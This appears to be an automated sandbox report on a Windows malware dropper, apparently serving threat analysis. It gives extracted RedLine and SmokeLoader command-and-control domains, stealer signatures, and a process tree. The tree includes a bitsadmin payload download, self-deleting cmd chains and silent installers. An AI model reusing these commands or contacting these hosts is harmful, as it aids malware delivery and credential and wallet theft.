Overview

overview

10

Static

static

E73E4BC10B...61.exe

windows7_x64

10

E73E4BC10B...61.exe

windows10_x64

10

Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    04/05/2021, 09:56

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    E73E4BC10B7F598BE39D301C1FE89961.exe
  • Size 7.0MB
  • Sample210504-7d32vs4hfs
  • SHA256 87bce52ffa3eaa55981a2dd9af96ce156249a9bfcfd9b3930252cdeff9e8633d
  • MD5 SHA1 SHA512
Score
10/10
plugxredlinesmokeloadervidarbaskarquerbackdoordiscoveryevasioninfostealerpersistencespywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

  • redline

Botnet

  • baskarquer

C2

  • qurernenail.xyz:80

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://999080321newfolder1002002131-service1002.space/

  • http://999080321newfolder1002002231-service1002.space/

  • http://999080321newfolder3100231-service1002.space/

  • http://999080321newfolder1002002431-service1002.space/

  • http://999080321newfolder1002002531-service1002.space/

  • http://999080321newfolder33417-012425999080321.space/

  • http://999080321test125831-service10020125999080321.space/

  • http://999080321test136831-service10020125999080321.space/

  • http://999080321test147831-service10020125999080321.space/

  • http://999080321test146831-service10020125999080321.space/

  • http://999080321test134831-service10020125999080321.space/

  • http://999080321est213531-service1002012425999080321.ru/

  • http://999080321yes1t3481-service10020125999080321.ru/

  • http://999080321test13561-service10020125999080321.su/

  • http://999080321test14781-service10020125999080321.info/

  • http://999080321test13461-service10020125999080321.net/

  • http://999080321test15671-service10020125999080321.tech/

  • http://999080321test12671-service10020125999080321.online/

  • http://999080321utest1341-service10020125999080321.ru/

  • http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Signatures

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

    trojanplugx
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Blocklisted process makes network request 64 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 64 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • VMProtect packed file 4 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Loads dropped DLL 64 IoCs
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks for any installed AV software in registry 1 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 18 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 32 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Download via BitsAdmin 1 TTPs 2 IoCs
    dropper
  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 32 IoCs
  • Modifies registry class 42 IoCs
  • Modifies system certificate store 2 TTPs 21 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 4 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:460
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Drops file in Windows directory
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:864
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:532
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:1404
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        2⤵
        • Enumerates connected drives
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:10776
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 5CD4ADD9AD335151C90FA8DFE92E1C81 C
          3⤵
          • Loads dropped DLL
          PID:10936
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding B1699FAA6EB6E10334175E05DFC72427
          3⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          PID:11432
          • C:\Windows\SysWOW64\taskkill.exe
            "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
            4⤵
            • Kills process with taskkill
            PID:11852
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 99593C23A7315EB4F3C089D0A4C11527 M Global\MSI0000
          3⤵
            PID:4428
      • C:\Users\Admin\AppData\Local\Temp\E73E4BC10B7F598BE39D301C1FE89961.exe
        "C:\Users\Admin\AppData\Local\Temp\E73E4BC10B7F598BE39D301C1FE89961.exe"
        1⤵
        • Loads dropped DLL
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:280
        • C:\Program Files (x86)\Microsoft Data\Versium Research\hjjgaa.exe
          "C:\Program Files (x86)\Microsoft Data\Versium Research\hjjgaa.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          PID:1748
          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
            3⤵
            • Executes dropped EXE
            PID:2560
          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
            3⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:3044
        • C:\Program Files (x86)\Microsoft Data\Versium Research\RunWW.exe
          "C:\Program Files (x86)\Microsoft Data\Versium Research\RunWW.exe"
          2⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          PID:1676
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Microsoft Data\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
            3⤵
              PID:1768
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /im RunWW.exe /f
                4⤵
                • Kills process with taskkill
                PID:1620
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 6
                4⤵
                • Delays execution with timeout.exe
                PID:2272
          • C:\Program Files (x86)\Microsoft Data\Versium Research\jg7_7wjg.exe
            "C:\Program Files (x86)\Microsoft Data\Versium Research\jg7_7wjg.exe"
            2⤵
            • Executes dropped EXE
            PID:1152
          • C:\Program Files (x86)\Microsoft Data\Versium Research\guihuali-game.exe
            "C:\Program Files (x86)\Microsoft Data\Versium Research\guihuali-game.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1064
            • C:\Windows\SysWOW64\rundll32.exe
              "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
              3⤵
              • Loads dropped DLL
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:596
          • C:\Program Files (x86)\Microsoft Data\Versium Research\LabPicV3.exe
            "C:\Program Files (x86)\Microsoft Data\Versium Research\LabPicV3.exe"
            2⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:1212
            • C:\Users\Admin\AppData\Local\Temp\is-AP5KA.tmp\LabPicV3.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-AP5KA.tmp\LabPicV3.tmp" /SL5="$101BE,506127,422400,C:\Program Files (x86)\Microsoft Data\Versium Research\LabPicV3.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:1660
              • C:\Users\Admin\AppData\Local\Temp\is-Q6O0E.tmp\3316505.exe
                "C:\Users\Admin\AppData\Local\Temp\is-Q6O0E.tmp\3316505.exe" /S /UID=lab214
                4⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in Program Files directory
                PID:2644
                • C:\Program Files\Internet Explorer\MAFUHTSSCM\prolab.exe
                  "C:\Program Files\Internet Explorer\MAFUHTSSCM\prolab.exe" /VERYSILENT
                  5⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2356
                  • C:\Users\Admin\AppData\Local\Temp\is-LD12D.tmp\prolab.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-LD12D.tmp\prolab.tmp" /SL5="$301C0,575243,216576,C:\Program Files\Internet Explorer\MAFUHTSSCM\prolab.exe" /VERYSILENT
                    6⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of FindShellTrayWindow
                    PID:2388
                • C:\Users\Admin\AppData\Local\Temp\07-f4f63-643-16abe-a86bfa8ada0b3\Saefefereqae.exe
                  "C:\Users\Admin\AppData\Local\Temp\07-f4f63-643-16abe-a86bfa8ada0b3\Saefefereqae.exe"
                  5⤵
                  • Executes dropped EXE
                  PID:2444
                  • C:\Program Files\Internet Explorer\iexplore.exe
                    "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                    6⤵
                    • Modifies Internet Explorer settings
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SetWindowsHookEx
                    PID:2772
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2772 CREDAT:275457 /prefetch:2
                      7⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:1164
                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2772 CREDAT:799757 /prefetch:2
                      7⤵
                      • Modifies Internet Explorer settings
                      • Suspicious use of SetWindowsHookEx
                      PID:4000
                • C:\Users\Admin\AppData\Local\Temp\33-81b0a-9e9-aebad-cdc366cb49125\Somyshebaela.exe
                  "C:\Users\Admin\AppData\Local\Temp\33-81b0a-9e9-aebad-cdc366cb49125\Somyshebaela.exe"
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1784
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eqt2gfrl.wu0\sskiper.exe /s & exit
                    6⤵
                      PID:9356
                      • C:\Users\Admin\AppData\Local\Temp\eqt2gfrl.wu0\sskiper.exe
                        C:\Users\Admin\AppData\Local\Temp\eqt2gfrl.wu0\sskiper.exe /s
                        7⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                        PID:9756
                        • C:\Users\Admin\AppData\Local\Temp\1798655536.exe
                          C:\Users\Admin\AppData\Local\Temp\1798655536.exe
                          8⤵
                          • Executes dropped EXE
                          PID:10220
                        • C:\Users\Admin\AppData\Local\Temp\2053055298.exe
                          C:\Users\Admin\AppData\Local\Temp\2053055298.exe
                          8⤵
                          • Executes dropped EXE
                          PID:11596
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\eqt2gfrl.wu0\sskiper.exe & exit
                          8⤵
                            PID:5812
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 0
                              9⤵
                              • Runs ping.exe
                              PID:5876
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hif5yyy1.qn2\KiffMainE1.exe & exit
                        6⤵
                          PID:10016
                          • C:\Users\Admin\AppData\Local\Temp\hif5yyy1.qn2\KiffMainE1.exe
                            C:\Users\Admin\AppData\Local\Temp\hif5yyy1.qn2\KiffMainE1.exe
                            7⤵
                            • Executes dropped EXE
                            PID:10156
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zgv4p0pu.nq3\001.exe & exit
                          6⤵
                            PID:10264
                            • C:\Users\Admin\AppData\Local\Temp\zgv4p0pu.nq3\001.exe
                              C:\Users\Admin\AppData\Local\Temp\zgv4p0pu.nq3\001.exe
                              7⤵
                              • Executes dropped EXE
                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                              PID:10328
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\12b5obcn.ne4\installer.exe /qn CAMPAIGN="654" & exit
                            6⤵
                              PID:10376
                              • C:\Users\Admin\AppData\Local\Temp\12b5obcn.ne4\installer.exe
                                C:\Users\Admin\AppData\Local\Temp\12b5obcn.ne4\installer.exe /qn CAMPAIGN="654"
                                7⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Enumerates connected drives
                                • Modifies system certificate store
                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                • Suspicious use of FindShellTrayWindow
                                PID:10496
                                • C:\Windows\SysWOW64\msiexec.exe
                                  "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Yonatan.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\12b5obcn.ne4\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\12b5obcn.ne4\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1619870288 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                  8⤵
                                    PID:11132
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\s3gl3i4q.xy4\gpooe.exe & exit
                                6⤵
                                  PID:10708
                                  • C:\Users\Admin\AppData\Local\Temp\s3gl3i4q.xy4\gpooe.exe
                                    C:\Users\Admin\AppData\Local\Temp\s3gl3i4q.xy4\gpooe.exe
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                    PID:10740
                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      8⤵
                                      • Executes dropped EXE
                                      PID:10792
                                    • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                      8⤵
                                      • Executes dropped EXE
                                      PID:11548
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ra4fq5qv.0lf\google-game.exe & exit
                                  6⤵
                                    PID:11308
                                    • C:\Users\Admin\AppData\Local\Temp\ra4fq5qv.0lf\google-game.exe
                                      C:\Users\Admin\AppData\Local\Temp\ra4fq5qv.0lf\google-game.exe
                                      7⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                      • Suspicious use of SetWindowsHookEx
                                      PID:11364
                                      • C:\Windows\SysWOW64\rundll32.exe
                                        "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\install.dll",install
                                        8⤵
                                        • Loads dropped DLL
                                        • Modifies registry class
                                        PID:11392
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h4b2m5t3.pkb\askinstall39.exe & exit
                                    6⤵
                                      PID:11664
                                      • C:\Users\Admin\AppData\Local\Temp\h4b2m5t3.pkb\askinstall39.exe
                                        C:\Users\Admin\AppData\Local\Temp\h4b2m5t3.pkb\askinstall39.exe
                                        7⤵
                                        • Executes dropped EXE
                                        • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                        PID:11712
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd.exe /c taskkill /f /im chrome.exe
                                          8⤵
                                            PID:4304
                                            • C:\Windows\SysWOW64\taskkill.exe
                                              taskkill /f /im chrome.exe
                                              9⤵
                                              • Kills process with taskkill
                                              PID:4336
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sp3rrdmi.yxi\setup.exe & exit
                                        6⤵
                                          PID:12104
                                          • C:\Users\Admin\AppData\Local\Temp\sp3rrdmi.yxi\setup.exe
                                            C:\Users\Admin\AppData\Local\Temp\sp3rrdmi.yxi\setup.exe
                                            7⤵
                                            • Executes dropped EXE
                                            • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                            PID:12148
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\sp3rrdmi.yxi\setup.exe"
                                              8⤵
                                                PID:4092
                                                • C:\Windows\SysWOW64\PING.EXE
                                                  ping 1.1.1.1 -n 1 -w 3000
                                                  9⤵
                                                  • Runs ping.exe
                                                  PID:3784
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zz2ejvzg.oc5\SunLabsPlayer.exe /S & exit
                                            6⤵
                                              PID:4084
                                              • C:\Users\Admin\AppData\Local\Temp\zz2ejvzg.oc5\SunLabsPlayer.exe
                                                C:\Users\Admin\AppData\Local\Temp\zz2ejvzg.oc5\SunLabsPlayer.exe /S
                                                7⤵
                                                • Executes dropped EXE
                                                • Drops file in Program Files directory
                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                PID:3908
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                  8⤵
                                                    PID:5036
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                    8⤵
                                                      PID:6612
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                      8⤵
                                                        PID:6764
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                        8⤵
                                                          PID:7040
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                          8⤵
                                                            PID:7284
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                            8⤵
                                                              PID:7476
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd9EC1.tmp\tempfile.ps1"
                                                              8⤵
                                                              • Checks for any installed AV software in registry
                                                              PID:7628
                                                            • C:\Windows\SysWOW64\bitsadmin.exe
                                                              "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                              8⤵
                                                              • Download via BitsAdmin
                                                              PID:7808
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\p13hgswj.qx0\005.exe & exit
                                                          6⤵
                                                            PID:2208
                                                            • C:\Users\Admin\AppData\Local\Temp\p13hgswj.qx0\005.exe
                                                              C:\Users\Admin\AppData\Local\Temp\p13hgswj.qx0\005.exe
                                                              7⤵
                                                              • Executes dropped EXE
                                                              • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                              PID:3900
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e5z1a055.h2x\ifhwwyy.exe & exit
                                                            6⤵
                                                              PID:2492
                                                              • C:\Users\Admin\AppData\Local\Temp\e5z1a055.h2x\ifhwwyy.exe
                                                                C:\Users\Admin\AppData\Local\Temp\e5z1a055.h2x\ifhwwyy.exe
                                                                7⤵
                                                                • Executes dropped EXE
                                                                • Modifies system certificate store
                                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                PID:3888
                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                  8⤵
                                                                  • Executes dropped EXE
                                                                  PID:4312
                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                  8⤵
                                                                  • Executes dropped EXE
                                                                  PID:5084
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cgef0ie2.gsq\toolspab1.exe & exit
                                                              6⤵
                                                                PID:3688
                                                                • C:\Users\Admin\AppData\Local\Temp\cgef0ie2.gsq\toolspab1.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\cgef0ie2.gsq\toolspab1.exe
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetThreadContext
                                                                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                  PID:3852
                                                                  • C:\Users\Admin\AppData\Local\Temp\cgef0ie2.gsq\toolspab1.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\cgef0ie2.gsq\toolspab1.exe
                                                                    8⤵
                                                                    • Executes dropped EXE
                                                                    • Checks SCSI registry key(s)
                                                                    • Suspicious behavior: MapViewOfSection
                                                                    PID:4224
                                                      • C:\Program Files (x86)\Microsoft Data\Versium Research\lylal220.exe
                                                        "C:\Program Files (x86)\Microsoft Data\Versium Research\lylal220.exe"
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        PID:580
                                                        • C:\Users\Admin\AppData\Local\Temp\is-TS0VH.tmp\lylal220.tmp
                                                          "C:\Users\Admin\AppData\Local\Temp\is-TS0VH.tmp\lylal220.tmp" /SL5="$101DC,237286,153600,C:\Program Files (x86)\Microsoft Data\Versium Research\lylal220.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • Loads dropped DLL
                                                          PID:3056
                                                          • C:\Users\Admin\AppData\Local\Temp\is-PKT6H.tmp\4_177039.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\is-PKT6H.tmp\4_177039.exe" /S /UID=lylal220
                                                            4⤵
                                                            • Drops file in Drivers directory
                                                            • Executes dropped EXE
                                                            • Adds Run key to start application
                                                            PID:2220
                                                            • C:\Program Files\Common Files\RZMDLIOXVA\irecord.exe
                                                              "C:\Program Files\Common Files\RZMDLIOXVA\irecord.exe" /VERYSILENT
                                                              5⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              PID:11296
                                                              • C:\Users\Admin\AppData\Local\Temp\is-95V5L.tmp\irecord.tmp
                                                                "C:\Users\Admin\AppData\Local\Temp\is-95V5L.tmp\irecord.tmp" /SL5="$3023A,6139911,56832,C:\Program Files\Common Files\RZMDLIOXVA\irecord.exe" /VERYSILENT
                                                                6⤵
                                                                • Executes dropped EXE
                                                                • Loads dropped DLL
                                                                • Drops file in Program Files directory
                                                                • Suspicious use of FindShellTrayWindow
                                                                PID:11348
                                                                • C:\Program Files (x86)\recording\i-record.exe
                                                                  "C:\Program Files (x86)\recording\i-record.exe" -silent -desktopShortcut -programMenu
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  PID:11608
                                                            • C:\Users\Admin\AppData\Local\Temp\34-a1fad-cc8-4819c-9a244110b4e7f\Josohiqiru.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\34-a1fad-cc8-4819c-9a244110b4e7f\Josohiqiru.exe"
                                                              5⤵
                                                              • Executes dropped EXE
                                                              PID:11480
                                                              • C:\Program Files\Internet Explorer\iexplore.exe
                                                                "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                6⤵
                                                                  PID:12252
                                                              • C:\Users\Admin\AppData\Local\Temp\a5-e9eef-b61-e8881-37c053465d9c1\Waqykewalae.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\a5-e9eef-b61-e8881-37c053465d9c1\Waqykewalae.exe"
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:11624
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\doddsq4q.vny\sskiper.exe /s & exit
                                                                  6⤵
                                                                    PID:3628
                                                                    • C:\Users\Admin\AppData\Local\Temp\doddsq4q.vny\sskiper.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\doddsq4q.vny\sskiper.exe /s
                                                                      7⤵
                                                                      • Executes dropped EXE
                                                                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                                      PID:3864
                                                                      • C:\Users\Admin\AppData\Local\Temp\1657274161.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\1657274161.exe
                                                                        8⤵
                                                                        • Executes dropped EXE
                                                                        PID:4520
                                                                      • C:\Users\Admin\AppData\Local\Temp\596987125.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\596987125.exe
                                                                        8⤵
                                                                        • Executes dropped EXE
                                                                        • Modifies system certificate store
                                                                        PID:5448
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\system32\cmd.exe" /k ping 0 & del C:\Users\Admin\AppData\Local\Temp\doddsq4q.vny\sskiper.exe & exit
                                                                        8⤵
                                                                          PID:6792
                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                            ping 0
                                                                            9⤵
                                                                            • Runs ping.exe
                                                                            PID:6836
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\okec2ao4.v40\KiffMainE1.exe & exit
                                                                      6⤵
                                                                        PID:4452
